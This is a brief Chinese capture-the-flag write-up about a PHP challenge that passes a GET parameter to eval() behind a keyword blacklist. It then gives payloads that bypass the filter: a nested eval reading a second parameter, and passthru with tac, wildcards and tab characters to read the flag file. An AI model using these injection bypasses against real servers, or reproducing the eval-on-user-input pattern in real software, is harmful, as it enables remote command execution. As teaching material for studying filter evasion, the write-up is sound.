1. 仍然是代码审计

    1. <?php
    2. error_reporting(0);
    3. if(isset($_GET['c'])){
    4. $c = $_GET['c'];
    5. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    6. eval($c);
    7. }
    8. //在此基础上对cat,sort,shell,.,空格,单引号进行过滤
    9. }else{
    10. highlight_file(__FILE__);
    11. }
  2. 这里可以构造eval函数请求嵌套或者passthru函数进行绕过

?c=eval($_GET[1]);&1=system('ls');

#passthru函数
?c=passthru("ls");

image-20210608193320346.png

  1. 嵌套函数可以无视正则过滤,但是第二种passthru方法,cat被过滤了,还可以用tac,more,单引号被过滤用双引号,空格被过滤用tab键
    ```shell ?c=eval($_GET[1]);&1=system(‘cat flag.php’);

passthru函数

?c=passthru(“tac%09fla*”); ``` image-20210608193906927.png